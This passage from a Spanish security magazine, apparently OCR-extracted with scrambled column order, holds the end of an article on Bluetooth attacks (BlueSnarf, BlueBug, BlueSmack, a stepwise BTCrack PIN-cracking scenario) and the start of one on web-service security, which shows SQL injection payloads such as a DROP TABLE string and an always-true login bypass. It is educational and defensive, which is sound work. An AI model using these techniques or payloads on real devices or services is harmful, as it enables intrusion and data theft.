debió enfrentarse al temor elemental de cualquier comunicación inalámbrica, la interferencia, y a fin de superarla se implementaron las siguientes características: • • Frequency Hoping: Patrón de saltos predefinido, Saltos de 1 Mhz sobre 79 frecuencias diferentes entre 2.402 GHz y 2.480 Ghhz, Saltos entre frecuencias más rápidos que en otras tecnologías inalámbricas (1600 Saltos por segundo).

go, soportan hasta 200 dispositivos pasivos. Los dispositivos esclavos pueden a su vez estar interconectados a diferentes Piconet, formando lo que se denomina una Scatternet, pero esta característica no se aplica al dispositivo Master ya que el mismo solo puede estar en una Piconet.

atacante conozca la Mac Address (BD_ADDR). Básicamente los modelos de Seguridad de los dispositivos Bluetooth se clasifican en tres modos primarios:

Modo 1: Sin seguridad (Modo Default)

Seguridad

Los dispositivos con Bluetooth tienen básicamente dos estados o modos posibles: • • Modo Descubrimiento, Modo No Descubrimiento.

Esencialmente, los mecanismos de autentificación y cifrado están deshabilitados.

Modo 2: Aplicación/ Nivel Servicio

Este punto a su vez incorpora, una medida importante desde el punto de vista de la seguridad, ya que para poder monitorear el tráfico de una comunicación, debemos formar necesariamente parte de la misma, de lo contrario la única alternativa viable es la de adquirir costosos equipos que puedan monitorear tráfico, sin la necesidad de ser parte de la conexión, algo viable solo para unos pocos adinerados.

Cabe mencionar que si algún dispositivo se encuentra en modo No Descubrimiento, igualmente puede ser mapeado siempre y cuando el

Ocurre en la capa L2CAP, nivel de servicios. Primero se establece un canal entre el nivel LM y el de L2CAP, inicializando los parámetros de seguridad. Como característica, el acceso a servicios y dispositivos es controlado por un Gestor de

Tabla 1. La pila del protocolo Bluetooth está conformada de la siguiente manera: Radio Layer Es la capa mas baja, define las características de la transmisión, cada dispositivo esta clasificado en tres clases diferentes: • Clase 1 100 Metros Aproximadamente • Clase 2 10 Metros Aproximadamente • Clase 3 1 Metro Aproximadamente Es la capa física, provee corrección de errores y características de seguridad, a través de la encriptación de datos, también administra los saltos de frecuencia y los datos contenidos en la cabecera del paquete Es el contenedor de aproximadamente 20 PDU Protocol Data Units, estas unidades son enviadas desde un dispositivo al otro, algunas de las más utilizadas son: • Power Control • Autentificación • Calidad de Servicio (QOS) Envía comandos a las dos capas inferiores, permitiendo una vía para la utilización, de las bondades de Bluetooth Controla el link entre dos dispositivos, y además es la encargada de proveer los servicios a los mismos Es el protocolo de transporte, envía la señal montada sobre L2CAP Busca otros dispositivos Bluetooth disponibles y le provee la capacidad de establecer una conexión con los mismos, se comunica directamente con la capa de L2CAP

Bluetooth STACK

La pila del protocolo Bluetooth está conformada de la siguiente manera (Tabla 1).

Baseband Layer

Redes

Cuando se conectan más de un dispositivo BT compartiendo un mismo canal de comunicación forman una red denominada Piconet. Dichas redes están compuestas por un dispositivo Master quien impone la frecuencia de saltos para la Piconet, y todos los demás dispositivos son los denominados Slaves (esclavos). Las Piconet solo pueden aceptar hasta 7 dispositivos Slaves conectados al mismo tiempo, sin embar-

Link Manager Protocol (LMP)

Host Controller Interface

En la Red
• • • • • www.bluetooth.org, www.trifinite.org, www.nruns.com, http://gospel.endorasoft.es, http://student.vub.ac.be/~sijansse/ 2e%20lic/BT/Tools/Tools.pdf.

The Logical Link Control and Adaptation Protocol (L2CAP) Cable Replacement Protocol (RFCOMM) Service Discovery Protocol (SDP)

www.hakin9.org

25

Ataque

Seguridad, por lo cual variando las políticas de seguridad y los niveles de confianza se pueden gestionar los accesos de aplicaciones con diferentes requerimientos de seguridad que operen en paralelo. Otra característica importante de este modo es que no hay ninguna codificación adicional de PIN o claves.

se comuniquen ambos dispositivos sin la necesidad de la intervención de los usuarios para que coloquen nuevamente sus contraseñas. Si alguno de los dos dispositivos pierde la clave, se debe a realizar todo el proceso nuevamente. Todo este proceso es conocido como emparejamiento o Paring.

Modo 3: Autentificación vía PIN/ Seguridad a nivel MAC/ Encriptación

Riesgos y Ataques en la tecnología Bluetooth

Ocurre a nivel de Link y todas las rutinas se corren internamente en el chip BlueTooth por lo que nada se transmite en texto plano. A diferencia del Modo 2, los procedimientos de seguridad se inician antes de establecer algún canal y el cifrado se basa en la autentificación PIN y seguridad MAC. Básicamente, comparte una clave de enlace (clave de link) secreta entre dos dispositivos. Para generar esta clave, se usa un procedimiento de paring cuando los dos dispositivos se comunican por primera vez:

Es muy común encontrarse en los archivos almacenados de las PDA y en los móviles, los usuarios y las contraseñas de los PC y hasta de los servidores que para no dejarlos anotados en un papel lo anotan en sus dispositivos móviles. Los lugares de mayor riesgo o donde es fácilmente posible obtener información como la mencionada anteriormente, son lugares públicos como por ejemplo: • • • • • • • En el cine, En una plaza con mucha gente, En una biblioteca, En un centro comercial o en un bar, En un campo de fútbol, En alguna tienda de telefonía, En el tren – autobús.

carácter corporativo, pero puede brindar al atacante a obtener datos que permitan desarrollar luego una estrategia de ataque más efectiva. Desde principios de 2003, comenzaron a hacerse publicas, algunas debilidades y vulnerabilidades que afectaban directamente a esta tecnología. La primera de ellas, fue descubierta por la gente de Atstake, y fue denominada War Nibling, y permite descubrir todos los dispositivos que estén en el alcance del atacante estando estos o no en modo descubrimiento. Después y de la mano de Adam Laurie y la gente del grupo Trifinite, fueron descubiertas las siguientes técnicas:

Algunas Herramientas
Btbrowser (http://www.benhui.net/ bluetooth/btbrowser.html): • • • • Permite descubrir dispositivos BT, Permite conocer las especificaciones técnicas de los mismos, Permite ver los servicios disponibles por este, Aplicación en Java soportada por varios teléfonos móviles.

Proceso de Paring

Para comprender el proceso de Paring o Emparejamiento, debemos aclarar que por defecto, la comunicación Bluetooth no se valida, de manera tal que cualquier dispositivo puede o podría hablar con cualquier otro. Un dispositivo Bluetooth se autentifica con otro si se requiere utilizar un determinado servicio (por ejemplo para el servicio de marcación por modem). Como ya mencionamos, la forma de autentificarse es mediante códigos PIN (cadena ASCII de hasta 16 caracteres de longitud). Tanto el usuario del dispositivo cliente como así también el proveedor del servicio, debe introducir el código PIN, obviamente, en ambos dispositivos el código ingresado debe ser exactamente el mismo. Al finalizar este proceso correctamente, ambos dispositivos generan una clave de enlace la cual se puede almacenar en el propio dispositivo o en un dispositivo de almacenamiento externo. Dicha clave será utilizada la siguiente vez que

Según estadísticas los usuarios sueles utilizar los dispositivos como pda o teléfonos móviles para lo siguiente: • 85% Utilizan estos dispositivos para almacenar el día a día del negocio, 85% Los utiliza para almacenar contactos y direcciones relacionadas con el negocio, 33% Los utiliza para almacenar PINs y Passwords, 32% Para recibir y enviar correo, 25% Para llevar el detalle de sus cuentas bancarias, 25% Para almacenar información corporativa, Fuente: Pointsec Mobile Technologies.

Bthdisc (www.trifinite.org): • • Permite descubrir dispositivos BT, Informa Clase y Dirección Mac Address.

Bt_Audit: Scanner con dos funcionalidades (http://www.betaversion.net/btdsd/): • • Scanner para L2CAP Scanner RFCOMM

• • • • •

Plataforma Operativa: Linux
Sniffing Local: • Hcidump

Piconet Sniffing: • Hardware o firmware especial.

Air Sniffing: • Frontline (http://www.fte.com/),

Como podemos ver la información comprometida, puede o no ser de

26

www.hakin9.org

Bluetooth – La Amenaza Azul

BluePrinting

Es una técnica de Fingerprinting pero de dispositivos Bluetooth, permite saber • • Fabricante del dispositivo, Modelo del dispositivo (solo algunas veces).

compara contra la base de firmas que poseen determinando así el Fabricante del dispositivo y su modelo. Para el caso de los dispositivos que no se encuentren en Modo Descubrimiento, existen herramientas que se basan en ataques de Brute Force.

• •

• •

Se basa en la dirección Mac Address del dispositivo, está compuesta por 6 bytes, los primeros 3 indican el fabricante y los restantes el modelo Las herramientas para estos ataques buscan dispositivos que se encuentren en Modo Descubrimiento, toma las direcciones Mac, y la

BlueBug

Es una vulnerabilidad que fue encontrada en varios teléfonos móviles con interfaz Bluetooth Permite enviar comandos AT al móvil, a través de un canal encubierto de la tecnología Bluetooth, permitiendo al atacante:

Extraer del móvil la agenda telefónica y calendario entre otros, Modificar o Borrar entradas en el calendario, o en los contactos telefónicos, Enviar un mensaje SMS desde el móvil comprometido, Provocar que el móvil comprometido, realice llamadas telefónicas a los números que el atacante desee.

BlueSnarfing y Long Distance Snarf

Algunas Herramientas

Herramienta de auditoría para teléfonos móviles – BLOOVER: Actualmente por la versión 2, es un aplicación realizada en java, que permite realizar, el ataque de Bluesnarf, directamente desde un móvil, con tecnología Bluetooth y soporte para aplicaciones Java J2ME MIDP 2.0 VM y JSR-Bluetooth API (Download: http://trifinite.org/trifinite_downloads.html).

Funcionalidades: • • • • • • Permite modificar y leer entradas en la agenda telefónica, Permite leer los mensajes de texto, almacenados en el teléfono, Permite introducir en el móvil comprometido, un numero telefónico para el redireccionamiento de llamadas, Ejecutar el Hello Moto Attack, Ejecutar Bluejacking, Enviar Objetos malformados a través de OBEX.

Este es el ataque que se aprovecha del bluebug, y básicamente permite, extraer información de un móvil, en vez de colocarla, varios equipos son vulnerables a este ataque (Nokia 6310,6310i entre otros). En agosto de 2004, lograron llegar más allá de los limites de alcance de un dispositivo clase uno, logrando extraer y modificar la agenda telefónica y el calendario de un teléfono móvil a una distancia de 1,78 Km. Utilizando una Portatil bajo Linux (Con todas las librerías de Bluetooth), con un adaptador USB Bluetooth modificado (Clase 1) y una antena direccional cuyo objetivo era un Móvil Nokia 6310 Dispositivo (Clase 2).

BTCrack (www.enruns.com): • • • Herramienta recientemente presentada el Hack.Lu 2006, Permite romper Claves y Llaves de enlace (PIN y Link Key), Previamente requiere como entrada, los datos sniffeados durante el proceso de paring.

BlueSmack

Algunas Debilidades Generales: • • El usuario suele relacionar el concepto de PIN con una cadena de caracteres corta (4), la tecnología lo permite Los ataques de ingeniería social, pueden preceder a los ataques antes descritos y facilitar aun mas la tarea del atacante

Ej: Nombre del Dispositivo Para continuar ingrese 1234: • El algoritmo utilizado para brindar seguridad es Simétrico (misma clave para encriptar que para desencriptar) y no existe un canal seguro de transmisión, el problema se potenciaría en implementaciones grandes de BT. NO existe autentificación de Usuarios, NO existen limites para el reintento de ingreso de claves, SIN paring previo algunos servicios e información son visibles, Covert Channels, Errores de Programación e Implementación.

Es un ataque de Denegación de servicio que aprovecha las debilidades en la implementación de Bluetooth, mas puntualmente en L2CAP. Permite mal formar un requerimiento causando que el dispositivo se cuelgue o se reinicie sin necesidad de establecer un conexión previa. Es similar al conocido ping de la muerte, l2ping es una funcionalidad que está presente en las librerías Bluez, de Linux, y permiten a un atacante especificar el tamaño del paquete a enviar.

BlueBump

• • • • •

Su fin es robar la link-key del teléfono de la víctima, para establecer posteriores conexiones, sin que este lo note y aparentando ser un dispositivo confiable. Este tipo de ataque incorpora técnicas de Ingeniería so-

www.hakin9.org

27

Ataque

cial pero fundamentalmente se basa en el beneficio de poder regenerar la link-key mientras la conexión esta establecida (Ver mas en Cracking BT PIN y la reciente herramienta BTCrack).

Hello Moto

Es una debilidad en exclusiva de algunos dispositivos Motorola. La debilidad radica en una mala implementación de la relación de confianza que se establece en el proceso de paring. Permite establecer la relación de confianza, entre el dispositivo del atacante y la víctima, si este primero intenta establecer una conexión al OPP (Obex Push Profile) y luego la cancela, el dispositivo del atacante será agregado a la lista de dispositivos confiable de la víctima. Todo esto sucede sin que medie ninguna interacción por parte de la víctima.

sobre Bluetooth, poseen importantes debilidades. En el caso de Bluetooth, este contiene varios elementos, como el manejo de llaves de encriptación y autentificación basada en un PIN, los cuales son utilizados en el proceso de Paring y la utilización de estos reside en la decisión del usuario. El algoritmo que brinda seguridad a estas tecnologías es Safer+, este es un algoritmo simétrico de encriptación por bloque, que permite la utilización de llaves de 128, 192 y 256,

para el caso el algoritmo utilizado es Safer+ de 128bits. Haciendo un poco de historia acerca de las investigaciones llevadas a cabo sobre este aspecto, en el 2003 Ollie Whitehouse comenzó a hablar de algunas debilidades en el proceso de paring que podrían permitir romper el PIN, mas adelante algunos investigadores, hicieron mejoras sobre esta técnica y encontraron la manera de forzar a un dispositivo a que reinicie el proceso de paring, por ultimo en el

BlueSpam

Es un ataque basado en la búsqueda de dispositivos en Modo Descubrimiento, a los cuales luego les enviará mensajes arbitrarios creados por el atacante. Este tipo de ataques no requiere la interacción por parte de la víctima para recibir el spam.

Figura 1. Página oficial de Nruns

BlueJacking

Es el ataque quizás más inofensivo pero desde el cual se han sentado muchas bases para nuevos ataques. Consiste en conectarse a un dispositivo Bluetooth y colocarle imágenes, mensajes o contactos al dueño del dispositivo. También es utilizado para realizar ingeniería social y utilizarla en complemento con otro tipo de ataques que requieran que los equipos estén aparejados.

Cracking BT PIN y la reciente herramienta BTCrack (www.enruns.com)

Tal cual sucedió, con WEP en 802.11, la implementación de los algoritmos de encriptación y seguridad

Figura 2. Página oficial de Bluetooth

28

www.hakin9.org

Bluetooth – La Amenaza Azul

2006 Thierry Zoller llevo a cabo la implementación de una herramienta para Win32 que llevaría todo lo anterior a la practica (BTCrack) y además realizo otra propuesta diferente a la de Shaked y Wool, para forzar el proceso de re-emparejamiento. Para poner esto en palabras simples, alguna de las cosas que podrían suceder seria la siguiente:

Escenario

Dos dispositivos, Un Master y un Slave, realizar exitosamente el proceso de emparejamiento, autenticando esto mediante un PIN.

Primer Paso

El atacante debería en primer lugar conocer las direcciones MAC de ambos dispositivos, esto no seria un problema para el atacante ya que como se menciono más arriba existen técnicas y herramientas disponibles.

Figura 3. Página oficial de Trifinite

Cuarto Paso

• • •

Segundo Paso

El atacante debería modificar la dirección MAC de su dispositivo por la del dispositivo Slave.

Tercer Paso

El atacante ahora debería intentar iniciar con el Master el proceso de paring, al mismo tiempo este debería estar monitoreando y capturando la información transmitida.

Tomar el output de la información capturada, durante el proceso de emparejamiento y dárselo como input al BTCrack, debido a las debilidades arriba mencionadas, la herramienta se encargara rápidamente de informarle al atacante cual es el PIN. En base a los estudio realizados por Thierry Zoller en un equipo DualCore P4 de 2Ghz, el tiempo que le llevaría a la herramienta romper el PIN es: • PIN de 4 Digitos: 0.035 Segundos,

PIN de 5 Digitos: 0.108 Segundos, PIN de 6 Digitos 4.321 Segundos, PIN de 9 Digitos 1318 Segundos.

Es por esto que entre otras recomendaciones el SIG recomienda realizar el proceso de emparejamiento en un lugar seguro.

Conclusión

Sobre el Autor

Ezequiel Martín Sallis CISSP/CEH/CCNA/NSP. Desarrollo su carrera en INFOSEC, con base en el aprendizaje y actualización continua, ha trabajado durante largo tiempo en las consultoras mas prestigiosas, prestando servicios para empresas del ámbito Gubernamental, Publico y Privado tanto a nivel nacional como internacional. Actualmente es Emprendedor y Director de ROOT-SECURE SRL, una Consultora especializada en Seguridad de la Información con bases en la Argentina, y con amplia experiencia en este campo. Ha trabajado fuertemente, en tareas relacionadas con INFOSEC, entre las que se pueden mencionar, Penetration Test, Vulnerability Assesment, Hardening de Plataformas, Asesoramiento con la Norma ISO 17799:2005, Management de Proyectos y otros. Es instructor de gran cantidad de capacitaciones tanto a nivel nacional, como a nivel internacional, entre las que se pueden mencionar CISSP, Ethical Hacking y otras. Ha participado como Orador en gran cantidad de seminarios y eventos internacionales.

Las nuevas tecnologías, traen asociadas cientos de riesgos y amenazas para las que muchas veces las empresas no están preparadas, y lo que es peor, a veces ni siquiera están informadas sobre estos peligros. Muchas corporaciones, dan a sus directivos estos dispositivos, sin tener en cuenta los riesgos asociados a los que se expone la información contenida en ellos, es por esto que hay que crear la conciencia necesaria y tomar medidas que permitan mitigar los riesgos asociados. La creatividad, es una de las herramientas de ataque, contra la que muy pocos desarrollan contramedidas l

www.hakin9.org

29

Web Services Security
Defensa
José Carlos Cortizo Pérez, Diego Expósito, Diego Peces

Grado de dificultad

El gran crecimiento del comercio electrónico y del B2B (Business to Business) ha originado la necesidad de nuevas tecnologías que permitan el intercambio de información y la reutilización de servicios en distintos sistemas.

T

ecnologías como RPC, RMI, CORBA, etc. fueron surgiendo para cubrir estas carencias pero presentaban tantas limitaciones como ventajas. Los servicios Web proporcionan un modelo distinto en el desarrollo de aplicaciones distribuidas ya que ofrecen la capacidad de acceder a información y funciones heterogéneas de forma estándar a través de una red, como pueda ser Internet. El surgimiento de los servicios web ha sido posible en gran medida gracias al surgimiento y aceptación del XML como metaformato para el intercambio de información. Gracias a XML se han podido desarrollar una serie de protocolos y estándares que forman la base de los servicios web: SOAP/XML-RPC para el intercambio de datos entre aplicaciones, WSDL como lenguaje de descripción de servicios y UDDI como registro basado en XML para la descripción, descubrimiento e integración. Todos estos protocolos se aglutinan dentro de SOA (Arquitectura Orientada a Servicios), que permite que varias aplicaciones puedan intercambiar información y funcionalidad a pesar de estar en ubicaciones diferentes, estar en máquinas de diversas arquitecturas y programadas en diferentes lenguajes de programación.

Los servicios Web proporcionan ciertas ventajas para el diseño y posterior desarrollo de aplicaciones: • Ofrecen transparencia de uso, ya que se basan en protocolos muy aceptados (XML) y dan la posibilidad de intercomunicar sistemas basados en arquitecturas y programados en lenguajes completamente heterogéneos. Esto es: independencia de la máquina y del lenguaje de programación. Al tener como base el protocolo HTTP, la comunicación se da sin ningún tipo de pro-

En este artículo aprenderás...
• • Cómo protegerse de los problemas básicos de seguridad relacionados con los servicios web, Lo que deberías tener en cuenta a la hora de desarrollar tu propio servicio.

Lo que deberías saber...
• Ciertos conocimientos de servicios web (al menos saber lo que es un servicio web y lo que es la arquitectura SOA).

30

www.hakin9.org

Web Services Security

blemas ya que los firewall suelen tener el puerto http habilitado. Con otras tecnologías anteriores (rpc, corba) había que tener cuidado con las configuraciones de los firewalls. Ofrecen la potencia de poder disponer de funcionalidades e información que ofrecen los distintos servicios Web que estén físicamente ubicados en diferentes lugares geográficos. Con esto se obtiene como resultado un sistema global que aúna las capacidades de todos lo servicios Web que invoca.

Todas estas ventajas se pueden resumir en pocas palabras: Los servicios Web nos ofrecen transparencia, sencillez y compatibilidad y dotan al nuevo sistema de funcionalidades correctas de forma rápida y simple. Para tratar de comprender de forma definitiva todo lo comentado anteriormente vamos a ver un ejemplo típico de uso de servicios Web en el ámbito comercial o de negocio (Figura 1). Imaginemos una típica agencia de viaje. Entre sus ofertas se ofrecen paquetes de vacaciones personalizables. Dentro de cada paquete de viaje se distingue un destino, el o los hoteles en los que hospedarse, los vuelos de avión y demás particularidades del viaje. Al ser personalizables, en cada uno de estos paquetes se puede elegir ciertos detalles como pueden ser el hotel, los vuelos, el destino, la duración, etc. Manejar toda esta información y gestionar los cientos de combinaciones posibles, así como asegurar al cliente la oficialidad de sus reservas en hoteles y vuelos para las fechas exactas se torna en una tarea demasiado compleja, por no decir imposible, para la agencia de viajes. Para coordinar todos estos eventos la agencia de viajes deberá ponerse en contacto con cada compañía de vuelo para averiguar si es posible y quedan plazas para volar el día elegido al destino de vacaciones. Tendrá que ponerse en contacto con la administración de los hoteles y re-

servar si hubiera plaza para el periodo determinado. Realizar esta tarea manualmente tiene un alto coste en tiempo y en recursos, ya que obliga a la agencia a tener un empleado realizando todas las gestiones manualmente. Además las posibilidades de que alguna reserva sea negativa y sea necesario replanificar todo el viaje son muy grandes, con lo cual el tiempo necesario para organizar todo el viaje y la estancia puede crecer aun más. Está claro que el cliente ni puede, ni quiere, esperar tanto para recibir una contestación afirmativa o negativa sobre la disponibilidad de su viaje. ¿Cómo obtener una solución automatizada para realizar todo este proceso? Las compañías aéreas ofertan desde hace tiempo servicios de consulta y reserva online para su acceso desde operadores turísticos (AMADEUS). Por lo tanto, para consultar la disponibilidad de vuelos bastaría con acceder a los servicios web de las compañías aéreas ofreciéndonos información para los vuelos que nos interesen. Para el tema de los hoteles pasa algo parecido. Así pues, automatizar el proceso global no parece ya una tarea tan complicada ya que bastaría con realizar un programa para satisfacer las restricciones marcadas por el usuario que hiciera uso de los servicios web de consulta y reservas que nos ofertan las distintas compañías implicadas en el proceso. Además el utilizar servicios web en lugar de otras tecnologías nos asegura la correcta interoperabilidad a la hora de acceder a los servicios e información remota de los hoteles y compañías aéreas.

Interoperabilidad y SOA

Hemos dado mucha importancia en el apartado anterior al concepto de Heterogeneidad que se permite entre los sistemas participantes de una transacción gracias a los Servicios Web. SOA (Arquitectura Orientada a Servicios) es la arquitectura que hace eso posible. En este apartado nos introduciremos en esta arquitectura.

La arquitectura SOA se compone de nodos. Los nodos de una red ofecen a otros nodos o usuarios de la red sus recursos en forma de servicios independientes, a los que se accederá de forma estándar. Es decir, la idea radica en crear servicios independientes que cada nodo ofrece al resto de la red, de modo que cualquier nodo con los permisos adecuados podrá usar uno o varios servicios con la finalidad de dar solución a un problema mayor. Después de todo lo visto es fácil ver la arquitectura SOA como un nivel de abstracción superior a la orientación a objetos pues en lugar de objetos que proporcionan un cierto comportamiento, tenemos servicios. Pero ya hemos descubierto como SOA es realmente una arquitectura distribuida gracias a protocolos como SOAP y WSDL. Otra forma de acceder remotamente a funcionalidad remota (anterior a SOA) son los RPC (llamada a procedimientos remotos). Este protocolo posibilita ejecutar servicios o código de un programa en otra máquina de forma remota, siendo para la primera transparente la comunicación entre ambos nodos, ya que las RPC encapsulan y ocultan parte del proceso. Básicamente, en los RPC es el cliente el que inicia el proceso, dicho nodo solicita al servidor que ejecute cierta funcionalidad. Éste, cuando ha terminado su proceso, le envía el resultado de dicho servicio al cliente. Los servicios web surgen como mejora del RPC al estandarizar el protocolo interno de comunicación. De todas formas los servicios web han ido evolucionando desde sus inicios, sufriendo una serie de mejoras y de actualizaciones que se traducen en tres generaciones de servicios web. La primera generación de servicios web se basaba en la comunicación nodo a nodo. Un flujo de acciones podría ser el siguiente: Se lanza una petición de un servicio a un servidor SOAP. Dicho servidor SOAP se encarga de invocar el objeto o el proceso determinado que le

www.hakin9.org

31

Defensa

ofrece dicho servicio. Se realiza el proceso interno necesario (acceso a bases de datos, lectura de ficheros, etc.) para la consecución del servicio. El servidor SOAP detecta el fin del proceso y devuelve la respuesta obtenida al Nodo que realizó la petición (a través de http). Un proceso, como se puede observar, bastante simple. En la segunda generación se da la situación de que el Nodo que realiza la petición no se la realiza directamente al servidor SOAP que mantiene el servicio. Realiza la petición a un tercer servidor SOAP que será el que realice la verdadera petición al servicio oportuno. Este nodo intermedio concentra todas las peticiones de los distintos clientes y concentra en él todas las tareas necesarias de comunicación con el nodo del servicio. En esta generación se encapsulan comportamientos comunes de los clientes en un nuevo nodo que se encarga de distribuir posteriormente las partes no comunes a los distintos nodos de servicio. El problema de la 2a generación surge de los procesos demasiado complejos que se pueden generar al realizar diversas peticiones. En nuestro ejemplo del operador de viajes, para satisfacer los deseos de nuestro cliente deberíamos realizar

multitud de peticiones a distintos servicios web. Sin embargo puede suceder que uno de los servicios Web nos devuelva una respuesta negativa, es decir, que nuestro hotel no ha podido ser reservado por falta de habitaciones libres (por ejemplo). En este caso sería necesario deshacer todas las reservas de vuelos, vehículos de alquiler, etc. La tercera generación de servicios web soluciona esto de modo que se agrupan todas las peticiones en una transacción. Esta transacción será positiva en caso de que logren satisfacer todas las restricciones necesarias (por ejemplo todas las reservas necesarias para un cliente determinado) y será negativa en caso contrario, ya que una transacción solo tiene sentido si se cumple en su totalidad (si no tengo el billete de avión hasta mi destino, el que tenga hoteles libres me da absolutamente lo mismo). Hasta que no se consiga satisfacer todas las peticiones el resto, aunque estén satisfechas, se mantendrán en espera hasta que todas tengan éxito.

no está protegido. Sin embargo este punto fuerte para la interoperabilidad es visto como un punto muy débil en cuánto a seguridad por algunos gurús de la seguridad, ya que permite a SOA saltarse los firewalls (y en gran medida la seguridad). Otro punto oscuro es el tema de la autentificación, autorización y control de acceso a servicios web en función que SOA en sus primeras definiciones del estándar no ofrecía de por si.

Ataques típicos

Ante todo hay que tener en cuenta que, cuando estamos creando servicios web, lo que estamos haciendo es brindar puertas de acceso desde el exterior a nuestros programas (sistema), por lo que hay que tener muy en cuenta quiénes van a poder acceder a cada funcionalidad y el que no existan agujeros de seguridad en el código desarrollado. De todas formas los ataques más típicos son: • Ataque de denegación de servicio: Un ataque de DOS a un servicio web es idealmente simple. Lo que se trata es de atacar al servidor de aplicaciones o al parseador XML, no a la lógica del programa, lo cuál sería más complicado. Estos ataques tratan de consumir mucho tiempo de CPU, consumir mucha memoria y/o colapsar el acceso a la base de datos. Para el tema del consumo de mucha cpu basta con tener en cuenta que parsear un XML correctamente no es una tarea trivial, y menos cuándo se tienen estructuras muy profundas y referencias a otros documentos que hacen que se produzcan esperas debido a la latencia de la red durante el parseo. En cuánto a consumir mucha memoria hay que tener en cuenta que a pesar que consumir toda la memoria de un sistema en producción sea una tarea prácticamente imposible, la gestión de la memoria (sobre todo en aquellos servicios web implementados en lengua-

¿Es SOA inseguro?

Uno de los puntos fuertes de SOA en cuánto a interoperabilidad es su habilidad de atravesar firewalls, ya que la comunicación se realiza a través del puerto 80 que habitualmente

Agencia Viajes

Hotel 2

Hotel 1

Cliente 1 Compańías Aéreas

Cliente 2

Figura 1. Un ejemplo de uso de los servicios Web en el ámbio comercial

32

www.hakin9.org

Web Services Security

• • •

jes que, como Java, utilizan recolector de basura) puede hacer que el sistema se vuelva sumamente lento. Para colapsar las conexiones a Bases de Datos nos centramos en el hecho que mayoría de las aplicaciones utilizan colas de conexiones de tamaño fijo, por lo que si se generan tantas peticiones a la base de datos como para llenar la cola se puede llevar a la aplicación a su muerte. Para esto haría falta encontrar una petición SOAP que no requiera autorización pero que resulte en una petición fuerte a la base de datos (ejemplo: autenticación inicial de un usuario). Interceptación y manipulación de mensajes: Al ser mensajes en XML resulta bastante fácil descifrar y manipular cualquier mensaje (ataques de reescritura de XML). Peticiones de cliente falsificadas. Respuestas del servidor falsificadas. Intentos de leer/escribir datos en el servidor (sistema de ficheros/ base de datos): Por lo general vienen de la mano de ataques por parámetros y SQL-injection, que permite que se realicen consultas o modificaciones (no previstas) en la base de datos debido al sustituir un parámetro de entrada por ese parámetro y alguna otra instrucción sql que permita obtener el resultado requerido. Valga como ejemplo un típico método de validación de usuario. Este método recibe como parámetro en nombre de usuario y para construir la consulta ejecuta el siguiente código:

que nuestro servicio web funcione correctamente. Algo menos dañino que esto puede ser el acceder a la funcionalidad de un servicio web sin ser usuario autorizado, para ello (utilizando el mismo ejemplo) si se pasa como parámetro de nombre de usuario el texto “t’ OR ‘a’==’a’) esto podría derivar en un acceso no autorizado si solo se tiene en cuenta que la consulta sea verdadera (devuelva algo) ya que ‘a’ == ‘a’ se cumple siempre. Algunos de estos ataques típicos (y algunos otros) se deben a las debilidades derivadas de utilizar XML en las peticiones • Documentos XML excesivamente largos/profundos (relacionado con los ataques DOS).

de por sí autenticar al invocador pero, hoy por hoy, existen algunas alternativas para poder hacerlo: • La nueva especificación de seguridad (WS-Security) para servicios web permite autenticar los invocadores. Validar a nivel de capa de transporte utilizando HTTPS. Utilizar diferentes servidores SOAP para cada nivel de acceso. Hacer que el firewall inspeccione los mensajes SOAP e identifique roles de usuario, niveles de privacidad, etc.

• •

<etiqueta><etiqueta><etiqueta> </etiqueta></etiqueta></etiqueta>

De todas formas todas estas alternativas para autenticar al invocador están fuera del alcance de este artículo por considerarse un tanto avanzadas. Cada una de ellas tiene el suficiente peso como para desarrollarse en un único artículo.

Ataques de Expansión de Entidades: Si la cabecera del documento XML declara entidades recursivas y el fichero las refiere, el sistema puede verse afectado (dependiendo del servidor de aplicaciones podría llegar a ser un ataque Dos). Entidades que refieren al sistema de ficheros: Si se declara una entidad refiriéndose a un archivo local, se puede estar preguntando por la existencia de un fichero e incluso conseguir una copia del mismo en el mensaje de respuesta.

Haciendo seguros tus Servicios Web

Autenticando al invocador

Una vez tenemos claros los ataques más comunes, podemos proceder a intentar asegurar nuestros servicios web. En este punto se expone una guía de pasos básicos a verificar cada vez que se desarrolle un servicio web. Algunos de estos puntos pueden obviarse cuándo se utilizan algunos aspectos de seguridad más avanzados, relacionados con los servicios web como WS-Security pero, como bien hemos dicho anteriormente, estos temas están fuera del alcance de este artículo introductorio. • Asegurarnos de haber establecido la profundidad máxima para el parseador XML, de forma que cuándo tenga que parsear documentos XML ideados para un ataque Dos, el sistema sea capaz de pararse antes de llegar a su muerte. Este punto no solo tiene que ver con los servicios web, si no con cualquier aplicación en la que necesitemos parsear un XML que viene del exterior.

$consulta = “SELECT * FROM usuarios WHERE nombre=’” . nombreUsuario;

A este método si le pasamos un nombre de usuario del tipo pepe; DROP TABLE usuarios; lo que hará es buscar primero el usuario pepe y a continuación eliminará la tabla que contiene la información de los usuarios lo cuál impedirá

Poder autenticar al invocador de un servicio web es algo realmente necesario para poder establecer distintas funcionalidades a distintos perfiles de usuario. Además, poder autenticar al invocador nos protege, en cierta manera, contra otro tipo de ataques, ya que para poder realizar muchos de ellos sería necesario autenticarse y, para ello, tener acceso al sistema como usuario, lo cuál no es usual en el caso de un atacante. SOA en sus comienzos no permitía

www.hakin9.org

33

Defensa

Detectar aquellas funcionalidades que hacen uso más intensivo de bases de datos. Buscar alternativas al desbordamiento de las colas de conexiones a la base de datos. De hecho, es mejor que un determinado método devuelva un error cuándo ve que no va a poder ejecutar la consulta a una base de datos en un determinado tiempo, en lugar de encolar su petición ya que si se desborda la cola de peticiones a la base de datos, el servicio web puede morir. En todos los sitios dónde alguna funcionalidad realice consultas a base de datos a partir de parámetros introducidos por el usuario, hay que asegurarse que no haya forma de inyectar otras consultas sql. Para esto, lo mejor es utilizar consultas preparadas. Por ejemplo:

$consulta = $sql->prepare(“SELECT * FROM usuarios WHERE nombre = ?”); $consulta->execute($usuario);

De esta forma nos aseguramos que lo que nos mande el usuario sea tomado como el valor del campo en la consulta impidiendo de cualquier forma inyectar cualquier otra consulta. • Seguimiento de las sesiones. A pesar de que se utilicen identificadores de sesión, cualquiera que esté escuchando los mensajes XML intercambiados puede interceptar uno y robar la sesión. Para esto es bueno hacer un seguimiento más exhaustivo del usuario, almacenando la ip de origen para contrastarla con la sesión. Esto es aplicable también al cliente que invoca al servicio web, ya que dentro de los ataques típicos encontrábamos tanto la manipulación de respuestas como las respuestas enviadas desde un falso servidor. Si desde el cliente se contrasta la información del origen de las respuestas del servidor, nos estaremos asegurando de la correcta identidad del servidor.

